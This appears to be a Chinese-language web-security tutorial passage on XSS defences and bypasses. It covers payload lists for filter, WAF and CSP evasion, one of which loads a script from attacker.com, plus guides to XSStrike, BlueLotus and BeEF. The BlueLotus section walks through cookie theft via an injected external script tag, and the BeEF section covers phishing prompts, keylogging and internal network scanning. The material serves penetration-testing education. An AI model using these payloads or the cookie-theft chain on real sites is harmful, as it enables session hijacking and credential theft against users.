eval(userInput);
setTimeout(userInput, 0);

安全替代

复制代码
element.textContent = userInput;      // 纯文本,不解析HTML
element.innerText = userInput;        // 同上
element.setAttribute('data-xxx', userInput);   // 属性值会自动转义(但注意危险属性如 href)

6. 框架自带防护

  • React :默认转义所有动态内容(除非使用 dangerouslySetInnerHTML)。

  • Angular :默认转义,且内置消毒剂(DomSanitizer)。

  • Vue :双花括号 {``{ }} 转义;v-html 危险。

  • jQuery.text() 安全,.html() 危险。

7. 其他辅助措施

  • X-XSS-Protection (已废弃但部分浏览器仍支持):X-XSS-Protection: 1; mode=block

  • 子资源完整性(SRI):防止 CDN 上的脚本被篡改。

  • 定期安全扫描(使用 Burp、XSStrike 等工具)。


二、XSS 绕过技术(攻击者视角)

防御措施总是有漏洞可寻,以下是常见的绕过方法。仅用于渗透测试或 CTF 比赛,严禁非法使用。

1. 绕过输出编码

1.1 利用未编码的上下文

即使使用了 htmlspecialchars()(默认只编码 <>&"'),以下情况仍然危险:

复制代码
<!-- 在 script 标签内部,需要 JS 转义而非 HTML 转义 -->
<script>
    var msg = '<?php echo htmlspecialchars($user); ?>';  // 若 $user = '; alert(1); //' 会闭合字符串
</script>

防御:对 JS 字符串使用 json_encode()addslashes()

1.2 利用 UTF-7 编码(已过时,但旧浏览器可能生效)
复制代码
+ADw-script+AD4-alert(1)+ADw-/script+AD4-

浏览器若错误解析为 UTF-7,则执行。现代浏览器默认 UTF-8,基本无效。

1.3 利用十六进制/Unicode 绕过检查

如果后端过滤了 <script> 但未递归解码,可以:

复制代码
<scr&#x69;pt>alert(1)</scr&#x69;pt>

后端看到 i 不会匹配,但浏览器解析成字母。

2. 绕过标签/事件黑名单

很多防御只过滤 <script> 标签,但存在大量其他触发点。

2.1 使用 <img><svg>
复制代码
<img src=x οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
2.2 使用其他标签及其事件
标签 事件 示例
<body> onload, onpageshow <body onload=alert(1)>
<iframe> onload <iframe onload=alert(1)>
<input> onfocus + autofocus <input onfocus=alert(1) autofocus>
<details> ontoggle <details ontoggle=alert(1) open>
<select> onchange <select onchange=alert(1)><option>a
<marquee> onstart <marquee onstart=alert(1)>
<video> / <audio> onerror <video src=x onerror=alert(1)>
2.3 使用 CSS 表达式(仅 IE 旧版)
复制代码
<div style="width:expression(alert(1))">

但现代浏览器不支持。

3. 绕过基于关键字的过滤(WAF)

3.1 大小写混写
复制代码
<ScRiPt>alert(1)</sCrIpT>
3.2 双写关键字(如果过滤器只删除一次)
复制代码
<scr<script>ipt>alert(1)</scr</script>ipt>

删除后剩下 <script>alert(1)</script>

3.3 使用注释干扰
复制代码
<script>/*test*/alert(1)/*test*/</script>

复制代码
<script>alert(1)//</script>
3.4 利用换行/回车/制表符
复制代码
<img src=x οnerrοr=alert(1)>
3.5 使用 HTML5 新标签
复制代码
<video><source οnerrοr=alert(1)>
3.6 利用 javascript: 伪协议(需要用户交互)
复制代码
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

4. 绕过长度限制

当输入框有长度限制(如 10 字符),可以:

  • 修改前端 maxlength(最简单)。

  • 使用短 payload

    • <svg/onload=alert(1)>(22 字符)

    • <body/onload=alert(1)>(23 字符)

    • <q/oncut=alert(1)>(20 字符)

  • 加载外部脚本

    复制代码
    <script src="//attacker.com/x.js"></script>

5. 绕过 CSP

CSP 严格时,不能执行内联脚本,但仍有绕过可能:

  • 利用现有白名单域名的 JSONP 接口

    复制代码
    <script src="https://trusted.com/api?callback=alert(1)"></script>
  • 利用 base-uri 未限制 :修改 <base> 标签,使相对路径的脚本指向攻击者服务器。

  • 利用 link 预加载:在某些浏览器可将内容注入到不安全上下文。

  • 利用 objectembed :如果 object-src 未严格限制,可嵌入恶意 Flash。

  • 利用 AngularJS 模板注入 (如果页面使用 AngularJS 1.x 且 CSP 未限制 unsafe-eval):

    复制代码
    <div ng-app>{{constructor.constructor('alert(1)')()}}</div>
  • 利用 script-src 中的 'unsafe-inline':如果策略允许内联脚本,则直接注入。

HttpOnly 无法通过 document.cookie 读取,但可以:

  • 利用 CSRF + XSS:通过 XSS 发起请求,让浏览器自动携带 Cookie 执行恶意操作(如修改密码)。

  • 窃取页面内的其他敏感信息:如 CSRF Token、API 密钥、用户资料。

  • 利用浏览器漏洞(极少见)。

7. DOM XSS 特殊绕过

  • 使用 location.hash :服务器日志不会记录 # 后内容,WAF 也看不到。

  • 利用 document.referrer :构造恶意页面,设置 document.referrer

  • 利用 window.name :攻击者用 window.name 传递 payload,不依赖 URL。


三、防御与绕过的对抗演进(示例)

防御 绕过 再次防御
过滤 <script> 使用 <img onerror> 过滤事件属性(on\w+
过滤 on\w+ 使用 <svg><script> 转义 <<
HTML 实体编码 script 标签内闭合引号 script 内容进行 JS 转义
CSP 禁止内联脚本 加载外部 JSONP 接口 限制 script-src 白名单
限制 document.cookie 窃取页面 token 使用前端 token 有效期短+后台验证

四、测试建议与工具

手动测试步骤

  1. 注入最简单的 <script>alert(1)</script>,观察是否执行。

  2. 如果失败,尝试 '> 闭合上下文,或使用 <img src=x onerror=alert(1)>

  3. 查看页面源码,定位输出位置(HTML 标签内、属性内、JS 内)。

  4. 根据上下文选择合适的 payload。

  5. 尝试大小写、双写、编码等混淆。

自动化工具

  • XSStrike:强大的 XSS 扫描 + 绕过 payload 生成。

  • Burp Suite Intruder:使用 XSS payload 字典模糊测试。

  • dalfox:快速 XSS 扫描。

  • XSS payload 生成器 :如 xss-cheat-sheet 项目。


五、总结

防御方核心原则

  • 输出编码(根据上下文)

  • CSP 严格限制

  • 使用安全的 DOM API

  • 不依赖黑名单过滤

攻击方核心思路

  • 寻找防御的"灰色地带"(未被转义的位置、允许的标签/事件)

  • 利用浏览器解析与后端过滤的差异

  • 绕过输入长度、关键字、编码处理

合法边界:所有绕过技术仅可用于自己拥有授权的系统或本地测试环境。

六、XSS-XSSstrike

XSStrike 是一款基于上下文分析的下一代 XSS 扫描工具,通过智能解析而非盲目注入来"理解"漏洞,大幅降低误报率,官方宣称"零误报 "。它专为高对抗环境设计,内置了30 余种 WAF 指纹库及自动绕过功能,善于发现 DOM 型 XSS 和需要多层跳转的"盲打"漏洞,还支持并发爬虫和多种编码变形。

1、核心优势

特性 描述
智能上下文分析 不是盲目注入Payload,而是分析前端代码结构,识别HTML/JS上下文,动态生成精准Payload,大幅降低误报率
WAF检测与绕过 具备WAF指纹识别与绕过引擎,能自适应选择变形策略穿透防御
DOM XSS深度扫描 不依赖请求响应,而是模拟浏览器解析JavaScript,从代码执行流中挖掘漏洞
盲注检测 支持在爬取过程中自动向表单注入盲测Payload
数据驱动 通过解析器确保生成Payload精准有效

2、核心架构解析

XSStrike 的威力建立在其精心设计的四层架构之上:

代码结构解析

模块 路径 核心职责
Core 基础设施 core/config.py, core/log.py 管理全局变量、HTTP请求统一封装、结果日志记录
Parser 解析引擎 core/htmlParser.py, core/jsContexter.py 识别响应中Payload反射位置、提取所有输入向量
生成与测试引擎 core/generator.py, core/fuzzer.py 核心智能Payload生成器与模糊测试模块
Photon 爬虫 core/photon.py 多线程网页爬取、表单发现与重复处理
模式控制器 modes/ 调度四种工作模式(扫描/爬虫/暴力破解/模糊测试)

3、详细安装指南

环境要求

  • 操作系统:Linux, Windows 7+, macOS, Termux

  • Python 版本:3.4 或更高版本

标准安装步骤

复制代码
# 1. 克隆官方仓库
git clone https://github.com/s0md3v/XSStrike.git
​
# 2. 进入项目目录并安装依赖
cd XSStrike
pip install -r requirements.txt
​
# 3. 验证安装(显示帮助信息即为成功)
python xsstrike.py -h

Kali Linux 快捷方式

复制代码
# 直接下载 .deb 包安装
wget https://github.com/s0md3v/XSStrike/releases/download/3.1.6/xsstrike_3.1.6_all.deb
dpkg -i xsstrike_3.1.6_all.deb

常见安装问题

  • ModuleNotFoundError: No module named fuzzywuzzy

    复制代码
    pip3 install fuzzywuzzy python-Levenshtein
  • Python版本不匹配 :项目根目录有 python3 shebang,务必用 python3 xsstrike.py 执行,而非 python


4、命令行接口与操作模式

全部参数一览

分类 参数 功能说明
目标指定 -u / --url 指定目标 URL
--data POST 请求数据
--seeds 从文件批量加载 URL
--path 在 URL 路径中注入 Payload
模式选择 --crawl 启用爬虫模式
--fuzzer 启用单次模糊测试模式
--file / -f 从文件加载 Payload 进行暴力破解
配置调优 --level / -l 设置爬取深度(默认 2)
--threads / -t 设置并发线程数
--delay / -d 请求延迟间隔(秒)
高级功能 --proxy 使用代理服务器
--headers 添加自定义 HTTP 头
--encode / -e 对 Payload 进行编码
--json 将 POST 数据视为 JSON 格式
--blind 在爬取过程中注入盲 XSS Payload
--skip-dom 跳过 DOM 型 XSS 检测
日志调试 --console-log-level 控制台日志详细程度
--log-file 指定日志文件路径

四种核心工作模式

  1. 扫描模式 (Default):最全面的核心模式,完整执行注入探测流程。

  2. 爬虫模式 (--crawl) :基于 Photon 引擎 自动遍历站点,支持智能去重和多级深度设置。

  3. 暴力破解模式 (-f) :配合 --fuzzer 使用,从外部文件注入海量 Payload。

  4. 单次模糊测试 (--fuzzer):不依赖预设 Payload,通过动态生成异常数据观察页面反馈,发现隐藏漏洞。

常用命令速查表

功能场景 命令示例
GET 请求扫描 python xsstrike.py -u "http://example.com/search.php?q=query"
POST 请求扫描 python xsstrike.py -u "http://example.com/login" --data "user=admin&pass=123"
JSON 数据扫描 python xsstrike.py -u "http://api.com/submit" --data '{"name":"test"}' --json
模拟浏览器请求 python xsstrike.py -u "http://target.com/page" --headers "User-Agent: Mozilla/5.0" --proxy "http://127.0.0.1:8080"
批量 URL 扫描 python xsstrike.py --seeds urls.txt
路径组件注入 python xsstrike.py -u "http://example.com/search/form/query" --path
自定义 Payload python xsstrike.py -u "http://example.com/page?q=query" -f /path/to/payloads.txt
启用爬虫 python xsstrike.py -u "http://example.com" --crawl -l 3 --threads 5
盲 XSS 检测 python xsstrike.py -u "http://example.com/login" --data "user=admin" --blind
静默扫描模式 python xsstrike.py -u "http://target.com" --silent
结果导出 python xsstrike.py -u "http://target.com" --output result.json

结果输出

找到漏洞后,命令窗口会及时输出发现的信息,包括:

  • 具体发现漏洞的 URL、受影响的参数

  • 推荐的验证 Payload(如 <script>alert(1)</script><img src=x onerror=alert(1)>

  • Efficiency(效率)和 Confidence(置信度)评分

5、核心技术与检测流程

智能检测工作流

与传统工具不同,XSStrike 使用解析器 分析响应,然后通过与模糊引擎集成的上下文分析来制作保证工作的有效负载。

  1. 无特征探测 :发出携带特殊检测标记(如 d3v)的请求,不直接使用 <script> 等敏感词,避免触发早期拦截。

  2. 上下文感知生成器 :核心模块 core/generator.py 根据上下文,在 <script> 标签内、HTML 属性或纯文本区等不同位置,生成绝对可执行 Payload。

  3. 结果确认 :通过浏览器引擎渲染最终 Payload,确保零误报(扫描单个页面时使用浏览器引擎验证)。


6、WAF 绕过机制

WAF 指纹识别

XSStrike 通过分析响应码、页面内容变化及过滤模式,自动识别 WAF 类型(如 Cloudflare, ModSecurity)。

内置 Bypass 策略

  1. 标签语法替换 :使用 <svg><details> 等冷门标签替代 <script>

  2. 特殊符号干扰 :插入 %0a(换行)、%0d(回车)、制表符等,利用 WAF 和浏览器解析逻辑差异绕过。

  3. 垃圾数据溢出:向请求中填充大量无用数据,使 WAF 因处理过载而放过真实 Payload。

  4. 编码变形 :通过 --encode base64 参数,对 Payload 进行多重编码。

  5. 提交方式更改:尝试将 GET 参数转为 POST Body 提交,或插入 Cookie 中。

Tamper 脚本机制

用户可编写自定义 Tamper 脚本对 Payload 进行编码混淆,配置位于 plugins/ 目录。执行时使用 --tamper 参数调用,例如:

复制代码
python xsstrike.py -u "http://target.com/search?q=test" --tamper "base64,uppercase"

7、自定义 Payload 实现

核心文件:db/definitions.json

该文件定义了 XSStrike 的 Payload 库,结构如下:

复制代码
{
  "payloads": {
    "HTML": ["<svg/οnlοad=alert(1)>", "<img src=x οnerrοr=alert(1)>"],
    "JavaScript": ["';alert(1);//", "\"+alert(1)+\""],
    "DOM": ["javascript:alert(1)"]
  }
}

添加业务特定 Payload,如金融系统可用 "><svg/onload=alert(document.cookie)>

自定义模块扩展

如需深度定制,可编辑 core/generator.py 的逻辑算法,或创建第三方 Hook 插件注入 plugins/ 目录。

盲注 Payload 配置

盲注 Payload 通过 core/config.py 中的 BLIND_PAYLOADS 配置列表注入到每个 HTML 表单中。


8、实战场景与最佳实践

场景一:反射型 XSS(搜索框)

复制代码
python xsstrike.py -u "https://shop.com/search?query=test" --fuzzer

通过模糊测试引擎寻找反射点,自动生成闭合引号的 Payload。

场景二:DOM 型 XSS(前端框架)

复制代码
python xsstrike.py -u "https://target.com" --dom

分析 URL Hash、document.write 及 Sink 函数,挖掘客户端漏洞。

场景三:存储型 XSS(盲打)

复制代码
python xsstrike.py -u "http://example.com" --crawl --blind

爬取网站并注入盲测 Payload,通过反连平台检测存储型漏洞。

最佳实践清单

  • 循序渐进测试 :先进行轻量级单 URL 扫描,确认可行后启用 --crawl 全面评估。

  • 合法授权原则:严格遵守法律法规,测试需经授权。

  • 结果验证确认:对自动发现的漏洞进行手工 PoC 验证。

  • 定期更新维护:定期拉取最新代码获取 WAF 指纹和 Payload 更新。


9、常见故障排除

现象 可能原因 解决方案
扫描长时间无输出 网络超时或目标响应慢 设置 --timeout 30 延长超时,或使用 --proxy 调试
误报过多 目标返回动态内容 core/config.py 调高 confidence 阈值
WAF 拦截严重 请求特征过于明显 使用 --encode base64 并配合 --tamper 链式混淆
爬虫无法抓取链接 页面依赖 JS 动态渲染 XSStrike 默认不执行 JS,可考虑配合 Selenium 扩展插件

七、XSS-BlueLotusXSS

BlueLotus(蓝莲花)是一个专为XSS漏洞验证打造的轻量级数据接收平台。与BeEF等复杂的浏览器利用框架不同,BlueLotus的核心目标非常纯粹:当一个XSS漏洞被触发时,它能可靠、详尽地接收并记录攻击返回的数据

它的设计哲学是极致的"简约",这使得它在特定场景下极具优势。

  • 极致简约的设计哲学 :它采用无数据库设计,零依赖,非常适合初学者或需要快速部署的场景。

  • "接收器"而非"利用框架" :BlueLotus专注于"接收",即等待浏览器自动回传数据。而BeEF则更主动,一旦"钩住"(Hook)浏览器,就可以执行大量复杂指令,如内网探测、键盘记录等

1、核心功能

功能模块 主要作用
数据接收与记录 平台能够完整记录XSS攻击触发的所有相关信息,包括发送的GET/POST数据、请求头、Cookie以及受害者的IP地址和客户端信息等。
XSS载荷(Payload)管理 平台内置了多种常用的公共JS模板,方便快速生成攻击Payload。此外,你也可以在"我的JS"模块中自由创建、编辑和保存自己的JS文件,平台提供了格式化和压缩等代码管理功能。
多用户与安全机制 平台具备多用户管理能力。它还内置了多种自身安全防护机制,包括:
- 安全校验 :登录时采用挑战应答式 校验,并支持IP和User-Agent绑定,防止会话被简单窃取。
- 密码保护 :支持密码输错5次封IP的防爆破策略,并提供了误封后的手动解封方法。
- 数据加密 :支持对接收的记录、JS说明文件等进行加密存储,默认加密方式为RC4算法,以保护敏感数据。
- 可选的邮件提醒:支持配置SMTP,在接收到新消息时通过邮件进行通知。
- 实时通知 :除了邮件通知,平台还引入了WebSocket方式,可以实时推送数据更新。

2、安装与部署

蓝莲花平台使用 PHP 编写,无需 MySQL 等数据库支持,部署非常轻量。

  • 环境要求:一个能运行 PHP 的 Web 服务器即可,例如 Apache 或 Nginx。

详细安装步骤
1. 获取源码 (下载)

项目源码托管在 GitHub 上,作者为 firesunCN。这是一个轻量级无SQL版本的平台,仅供学习研究使用。

  • 官方唯一推荐下载地址

    • GitHub主仓库https://github.com/firesunCN/BlueLotus_XSSReceiver

    • Gitee镜像仓库https://gitee.com/evlon/BlueLotus_XSSReceiver

2. 配置Web环境

下载并解压好源码后,接着配置环境。

  • 配置Web服务 :安装Apache 为Web服务器,并配置PHP环境来运行程序。

  • 设置目录权限:为确保平台能正常读写文件,需要给特定文件夹写权限。

    复制代码
    # 进入源码根目录
    cd /path/to/BlueLotus_XSSReceiver
    # 授予当前目录及其所有子目录写权限
    sudo chmod 777 -R ./
3. 运行安装向导

在浏览器中访问 http://你的服务器地址/BlueLotus_XSSReceiver-master/install.php

不要点安装按钮,按照页面提示操作

访问http://你的服务器地址/BlueLotus_XSSReceiver-master/login.php

4. 登录后台

安装成功后,通过 http://你的服务器地址/BlueLotus_XSSReceiver-master/admin.php 访问后台。

密码:blueLotus

填写密码登录进去

进入下图页面表示安装成功

3、攻击视角:以窃取Cookie为例

  1. 创建JS脚本 :登录平台后台,进入"我的JS"模块,创建一个新的JS文件。在"公共模版"中选择"default.js"(通常已包含窃取Cookie的代码),然后点击"插入模版"并保存。

  2. 生成攻击载荷 :在JS管理列表中,找到刚才创建的脚本,点击"生成payload "。平台会提供一个 <script> 标签的链接,例如:

    复制代码
    <script src="http://你的平台地址/myjs/你的脚本名.js"></script>

    这个链接就是攻击载荷。

  3. 注入载荷 :在目标网站存在XSS漏洞的地方(如留言板、个人签名等),注入该攻击载荷。

  4. 等待触发:当有用户访问了包含该载荷的页面时,其浏览器会自动请求并执行你平台上的JS脚本。脚本会将用户的Cookie等信息发送到你的蓝莲花平台。

  5. 窃取成功:回到蓝莲花平台,在"接收数据"面板中,你将看到收到的数据,其中包含了受害者的Cookie。

4、防御视角:蓝莲花的利用与对抗

对防守方来说,蓝莲花这类平台也提供了重要的检测和分析价值。安全研究人员可以利用它来模拟攻击,从而验证漏洞并了解攻击者的行为模式。捕获的攻击数据会被完整记录,包含IP、时间戳、HTTP头等,便于进行溯源分析。

当然,蓝莲花也支持HTTPS回传和数据加密存储,确保捕获的数据在传输和存储过程中的机密性与完整性。

5、横向对比

在 XSS 测试与利用领域,蓝莲花(BlueLotus)通常与 BeEF 和 XSStrike 一起被提及。以下是它们的简单对比:

工具 主要定位 类型 优点 缺点/适用场景
BlueLotus XSS 数据接收与管理平台 管理平台 - 部署简单 ,PHP环境即用 - 功能纯粹 ,专注于数据接收 - 轻量级,资源占用少 交互和深入控制能力较弱
BeEF 浏览器漏洞利用框架 综合框架 - 功能强大 ,交互和控制能力强 - 模块丰富,可进行钓鱼、内网穿透等深入操作 部署和配置相对复杂
XSStrike XSS 漏洞检测与扫描器 扫描器 - 智能检测 ,误报率低 - 专注于漏洞发现而非利用 不具备数据接收和持续控制的能力

八、XSS-BEEF

BeEF(Browser Exploitation Framework,浏览器利用框架)是一款专业的浏览器渗透测试工具。与专注于被动接收数据的XSS平台不同,BeEF的核心在于提供了一个强大的命令和控制面板,能够对已经"上钩"的浏览器进行持续的、双向的实时交互与控制。

  • 核心定义 :一款浏览器渗透测试框架,重点是利用浏览器端的漏洞。

  • 运作模式 :通过XSS等漏洞将 hook.js 注入目标浏览器("上钩"),并与BeEF服务器建立持久的通信通道

  • 主要目的:评估浏览器的安全性,模拟客户端攻击,进行社会工程学测试。

  • 技术栈 :由Ruby语言开发,提供Web界面进行操作。

1、BeEF vs. BlueLotus:核心区别

对比维度 BeEF (BeEF) BlueLotus
核心定位 交互式控制 。主动控制、深度渗透,是一个强大的"武器库" 被动式接收 。主要用于被动接收Cookie等数据,是纯粹的"接收器"
交互与控制 。提供双向通信通道,可实时向浏览器下发指令 。功能主要是单向数据回传
功能模块 极其丰富。内置超200个攻击模块,涵盖信息收集、社会工程学、内网渗透等 单一。核心功能是数据接收、存储和展示
攻击持续性 。通过轮询机制维持对浏览器的持久化控制 。通常只在触发瞬间回传数据
应用场景 深度渗透测试。侧重于真实场景下的攻击链路模拟 漏洞验证。侧重于快速证明漏洞危害,收集存在漏洞的证据
上手难度 较高。需要理解浏览器安全、XSS原理及各模块功能,功能复杂 简单。配置简单,功能单一明确,易于部署

简单来说,BlueLotus像是设置了一个"陷阱"来捕捉猎物,而BeEF则更像是在猎物身上安装了一个永久的"监控和遥控装置"。

2、工作原理

BeEF的核心在于一个永久的"钩子"(Hook)。

3、核心功能与应用

信息收集与持久化
  • 信息收集 (Details & Logs) :获取"上钩"浏览器的操作系统版本、插件列表、Cookie、当前页面 等信息。还可利用Logs功能记录用户在网页上的点击和键盘输入。

  • 会话劫持 (Get Cookie):窃取会话Cookie后,利用工具(如Postman)直接重放请求,在未登录状态下侵入账户,演示无缝身份接管。

浏览器控制与操作 (Browser)
  • 网页重定向 (Redirect Browser):强制浏览器跳转到钓鱼页面,进行进一步的攻击。

  • 浏览器伪装 (Fake Notification Bar):在页面上伪造系统通知栏,诱导用户点击,可能导致反弹shell等严重后果。

  • 引导下载 (Social Engineering):强制浏览器后台静默下载恶意文件,用于进一步的木马植入。

社会工程学 (Social Engineering)
  • 漂亮的窃取 (Pretty Theft):在目标页面弹出伪造的登录框,诱导受害者输入账号密码等敏感信息,实现凭证窃取。

  • 定制钓鱼 (Custom Phishing):在真实网页上覆盖伪造内容,用于针对性钓鱼或特定目的(如虚假中奖信息)。

内网探测与横向移动 (Network)
  • 内网存活主机发现 (Ping Sweep):调用被控制浏览器的网络功能,探测其所在内网中的其他存活主机IP地址。

  • 内网端口扫描 (Port Scanner):扫描内网指定主机的端口开放情况,为后续的进一步攻击提供信息。

横向工具联动
  • 结合Metasploit:将BeEF作为攻击跳板,向其传递Metasploit的payload,实现从浏览器漏洞到系统层的深入利用。

4、模块状态说明

在BeEF的Web面板中执行命令时,会通过颜色来标识攻击模块的状态:

  • 绿色 : 功能有效,且执行过程中用户不可见

  • 橙色 : 功能有效,但执行过程中可能会被用户察觉。

  • 灰色 : 功能在当前环境下未经验证,可能有效。

  • 红色 : 功能对当前浏览器无效

5、快速安装与使用

  1. 安装

    • Kali Linuxsudo apt update && sudo apt install beef-xss -y

    • 其他Linuxgit clone https://github.com/beefproject/beef.git

  2. 启动首次启动 需要设置密码(默认用户名beef)。

    • 终端启动sudo beef-xss

    • 服务管理sudo systemctl [start\|stop\|restart] beef-xss.service

  3. 验证

    • 登录Web UI:http://<服务器IP>:3000/ui/panel(Kali默认是127.0.0.1)。

    • 获取Hook脚本:<script src="http://<服务器IP>:3000/hook.js"></script>

可以修改/usr/share/beef-xss/config.yaml文件中的host,将IP地址从0.0.0.0改为Kali机器的实际IP,使BeEF可被外部机器访问。

运行之后就可以进行监听等一系列操作

6、注意事项

  • 操作规范:BeEF功能强大,使用前必须获得授权。所有操作需严格遵守法律法规及行业道德标准。

  • 功能限制 :部分模块因现代浏览器安全策略增强可能受限。执行Hook Domain等命令时,目标需与BeEF在同一网络或路由可达。

  • 学习指引:首次使用时,除DVWA外,BeEF自带的演示页面也是一个很好的学习入口。

BeEF的强大之处在于它能将简单的XSS漏洞扩展为对整个浏览器的持续控制,是理解客户端安全与模拟高级攻击链路的关键工具。建议在DVWA等本地靶场环境中进行实践,以掌握其核心使用方法。

相关推荐
ZeroNews内网穿透1 小时前
NAS部署Hermes AI Agent + 零讯内网穿透,实现远程可管理的AI助手
人工智能·安全·ai·内网穿透
程序员黑豆1 小时前
AI全栈开发 - Java:注释
前端·后端·ai编程
痕忆丶1 小时前
Typora 的替代marktext,marktext切换中文
前端
持敬chijing1 小时前
Web渗透之SQL注入总结
sql·安全·web安全·网络安全·网络攻击模型·web
羊羊小栈1 小时前
Uplift营销供应链协同决策系统(基于Uplift因果推断与运筹优化算法)
前端·人工智能·算法·毕业设计·大作业
阿猫的故乡1 小时前
Vue组合式函数(Composables)从入门到实战:鼠标跟踪、请求封装、本地存储……全案例拆解
前端·vue.js·计算机外设
Upsy-Daisy2 小时前
Hermes Agent 学习笔记 02:安装、配置与第一次运行
java·前端·数据库
一壶纱2 小时前
一个用于 UniApp 项目的 Pinia 持久化插件
前端·javascript·vue.js
凌涘2 小时前
JS 八大基本类型:一场内存视角的冒险之旅
前端·javascript